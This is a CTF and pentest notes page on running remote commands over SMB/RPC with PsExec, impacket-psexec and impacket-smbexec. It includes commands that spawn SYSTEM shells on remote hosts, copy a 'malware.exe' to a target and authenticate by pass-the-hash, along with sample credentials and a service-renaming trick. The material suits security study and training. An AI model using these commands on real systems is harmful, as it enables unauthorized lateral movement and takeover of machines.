> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/remote-commands/remote-commands-via-smb-rpc.md).

# Remote Commands via SMB/RPC

## Remote Commands with psexec.exe

Run command (`cmd.exe` in this case) as current user on remote machine with IP of `192.168.88.129.`

Logon will be done via logon type 3 (Network).

```bash
psexec \\192.168.88.129 cmd.exe
```

Run command as other user. With the `-i` parameter, logon will also be done with logon type 2 (Interactive). With explicit credentials but without `-i` logon type 5 (Service) will be used.

```batch
PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
```

Change the name of the service used and the EXE-file temporarily written to the `C:\Windows` directory with the `-r` parameter. Note that other temp files in `C:\Windows` will still be named PSEXEC-\*.

```batch
psexec -r Cajac \\192.168.88.129 cmd.exe
```

Copy the file (`malware.exe` in this case) to the destination machine as part of the process. \
Note that (full) path to the file is needed.

```batch
psexec -c \\192.168.88.129 C:\Users\Admin\Desktop\malware.exe
psexec -c \\192.168.88.129 .\malware.exe
```

### Requirements

You need to have admin rights on the target as part of PsExec starts up a windows service on the target, and you need admin rights to be able to do that.

PsExec copies a PSEXESVC file to the admin share and then using remote management starts up a service using that file. It opens up named pipes and uses that for further communication. When it's finished it tidies up after itself.

Three requirements must be met:

1. First, the user that authenticates to the target machine needs to be part of the Administrators local group.&#x20;
2. Second, the *ADMIN$* share must be available, and&#x20;
3. third, File and Printer Sharing has to be turned on.&#x20;

Luckily for us, the last two requirements are already met as they are the default settings on modern Windows Server systems.

To execute the command remotely, PsExec performs the following tasks:

* Writes psexesvc.exe into the C:\Windows directory
* Creates and spawns a service on the remote host
* Runs the requested program/command as a child process of psexesvc.exe

### Protocol used

PsExec uses SMB (445/tcp) and RPC (135/tcp and random high port) to communicate.

In a domain environment Kerberos (88/tcp) is used for authentication.

Example of needed open firewall rules:

<figure><img src="https://3509529182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4cXibJE2swAwD1T1WplB%2Fuploads%2FE7mVNovgFhX8j8lgFy0Y%2Fimage.png?alt=media&amp;token=40b44471-74ee-4a1f-a6ae-53fec31b3324" alt=""><figcaption></figcaption></figure>

### Usage information

<details>

<summary>psexec.exe /?</summary>

```bash
C:\>psexec.exe /?

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

PsExec executes a program on a remote system, where remotely executed console
applications execute interactively.

Usage: psexec [\\computer[,computer2[,...] | @file]][-u user [-p psswd]][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w directory][-d][-<priority>][-g n][-a n,n,...][-verbose] cmd [arguments]
     -a         Separate processors on which the application can run with
                commas where 1 is the lowest numbered CPU. For example,
                to run the application on CPU 2 and CPU 4, enter:
                "-a 2,4"
     -c         Copy the specified program to the remote system for
                execution. If you omit this option the application
                must be in the system path on the remote system.
     -d         Don't wait for process to terminate (non-interactive).
     -e         Does not load the specified account's profile.
     -f         Copy the specified program even if the file already
                exists on the remote system.
     -g         Set the primary thread's processor group to the one specified
                (Only for systems with more than 64 processors).
     -i         Run the program so that it interacts with the desktop of the
                specified session on the remote system. If no session is
                specified the process runs in the console session.
     -h         If the target system is Vista or higher, has the process
                run with the account's elevated token, if available.
     -l         Run process as limited user (strips the Administrators group
                and allows only privileges assigned to the Users group).
                On Windows Vista the process runs with Low Integrity.
     -n         Specifies timeout in seconds connecting to remote computers.
     -p         Specifies optional password for user name. If you omit this
                you will be prompted to enter a hidden password.
     -r         Specifies the name of the remote service to create or interact.
                with.
     -s         Run the remote process in the System account.
     -u         Specifies optional user name for login to remote
                computer.
     -v         Copy the specified file only if it has a higher version number
                or is newer on than the one on the remote system.
     -w         Set the working directory of the process (relative to
                remote computer).
     -x         Display the UI on the Winlogon secure desktop (local system
                only).
     -arm       Specifies the remote computer is of ARM architecture.
     -priority  Specifies -low, -belownormal, -abovenormal, -high or
                -realtime to run the process at a different priority. Use
                -background to run at low memory and I/O priority on Vista.
     computer   Direct PsExec to run the application on the remote
                computer or computers specified. If you omit the computer
                name PsExec runs the application on the local system,
                and if you specify a wildcard (\\*), PsExec runs the
                command on all computers in the current domain.
     @file      PsExec will execute the command on each of the computers listed
                in the file.
     cmd            Name of application to execute.
     arguments  Arguments to pass (note that file paths must be
                absolute paths on the target system).
     -accepteula This flag suppresses the display of the license dialog.
     -nobanner   Do not display the startup banner and copyright message.

You can enclose applications that have spaces in their name with
quotation marks e.g. psexec \\marklap "c:\long name app.exe".
Input is only passed to the remote system when you press the enter
key, and typing Ctrl-C terminates the remote process.

If you omit a user name the process will run in the context of your
account on the remote system, but will not have access to network
resources (because it is impersonating). Specify a valid user name
in the Domain\User syntax if the remote process requires access
to network resources or to run in a different account. Note that
the password and command is encrypted in transit to the remote system.

Error codes returned by PsExec are specific to the applications you
execute, not PsExec.
```

</details>

## Remote Commands with Impacket

### psexec.py

```
#   psexec.py
#   ---------
#   PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
```

{% hint style="info" %}
**WARNING:** \
Windows Defender will recognize psexec.py as `VirTool:Win32/RemoteExec`&#x20;
{% endhint %}

{% hint style="info" %}
NOTE:\
`impacket-psexec` is really a symbolic link that point to `/usr/share/impacket/script` which is just a wrapper script:

```bash
┌──(kali㉿kali)-[~]
└─$ cat /usr/share/impacket/script
#!/bin/sh

name_script=$(basename $0)
example_name=${name_script##impacket-}

exec python3 /usr/share/doc/python3-impacket/examples/$example_name.py "$@"
```

{% endhint %}

The generic format for credentials and destination, also known as target, are:

```
[[domain/]username[:password]@]<targetName or address>
```

To launch a `cmd.exe` session on a remote machine

```bash
impacket-psexec Admin:ADMPassword@$TARGET_IP
```

Commands will be run with `SYSTEM` privileges!

You can also connect with hashes rather than a password (Pass-the-Hash attack)

```bash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 Administrator@$TARGET_IP
```

#### Usage information

<details>

<summary>impacket-psexec -h</summary>

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-psexec -h
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-codec CODEC] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
                 target [command ...]

PSEXEC like functionality example using RemComSvc.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)

options:
  -h, --help            show this help message and exit
  -c pathname           copy the filename for later execution, arguments are passed in the command option
  -path PATH            path of the command to execute
  -file FILE            alternative RemCom binary (be sure it doesn't require CRT)
  -ts                   adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
                        https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
                        it
  -port [destination port]
                        Destination port to connect to SMB Server
  -service-name service_name
                        The name of the service used to trigger the payload
  -remote-binary-name remote_binary_name
                        This will be the name of the executable uploaded on the target

```

</details>

### smbexec.py

```
#   smbexec.py
#   ----------
#   A similar approach to psexec w/o using RemComSvc. The technique is described here
#   https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access
#   Our implementation goes one step further, instantiating a local smbserver to receive the
#   output of the commands. This is useful in the situation where the target machine does NOT
#   have a writeable share available.
#   Keep in mind that, although this technique might help avoiding AVs, there are a lot of
#   event logs generated and you can't expect executing tasks that will last long since Windows
#   will kill the process since it's not responding as a Windows service.
#   Certainly not a stealthy way.
#
#   This script works in two ways:
#       1) share mode: you specify a share, and everything is done through that share.
#       2) server mode: if for any reason there's no share available, this script will launch a local
#          SMB server, so the output of the commands executed are sent back by the target machine
#          into a locally shared folder. Keep in mind you would need root access to bind to port 445
#          in the local machine.
```

{% hint style="info" %}
NOTE:\
`impacket-smbexec` is really a symbolic link that point to `/usr/share/impacket/script` which is just a wrapper script:

```
┌──(kali㉿kali)-[~]
└─$ cat /usr/share/impacket/script
#!/bin/sh

name_script=$(basename $0)
example_name=${name_script##impacket-}

exec python3 /usr/share/doc/python3-impacket/examples/$example_name.py "$@"
```

{% endhint %}

The generic format for credentials and destination, also known as *target*, are:

```
[[domain/]username[:password]@]<targetName or address>
```

To launch a `cmd.exe` session on a remote machine

```bash
impacket-smbexec Admin:ADMPassword@$TARGET_IP
```

To launch a `powershell.exe` session on a remote machine

```bash
impacket-smbexec Admin:ADMPAssword@$TARGET_IP -shell-type powershell
```

Commands will be run with `SYSTEM` privileges!

#### Usage information

<details>

<summary>impacket-smbexec -h</summary>

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec -h                        
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

usage: smbexec.py [-h] [-share SHARE] [-mode {SERVER,SHARE}] [-ts] [-debug] [-codec CODEC] [-shell-type {cmd,powershell}] [-dc-ip ip address] [-target-ip ip address]
                  [-port [destination port]] [-service-name service_name] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB]
                  target

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

options:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default C$)
  -mode {SERVER,SHARE}  mode to use (default SHARE, SERVER needs root!)
  -ts                   adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
                        https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive shell

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
                        it
  -port [destination port]
                        Destination port to connect to SMB Server
  -service-name service_name
                        The name of theservice used to trigger the payload

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

```

</details>

## Resources

PsExec - Tool Analysis Result Sheet - JPCERT/CC: <https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PsExec.htm>

**PsExec** - Homepage: <https://learn.microsoft.com/en-us/sysinternals/downloads/psexec>

**psexec.py** - Impacket - GitHub: <https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/psexec.py>

**smbexec.py** - Impacket - GitHub: <https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/smbexec.py>
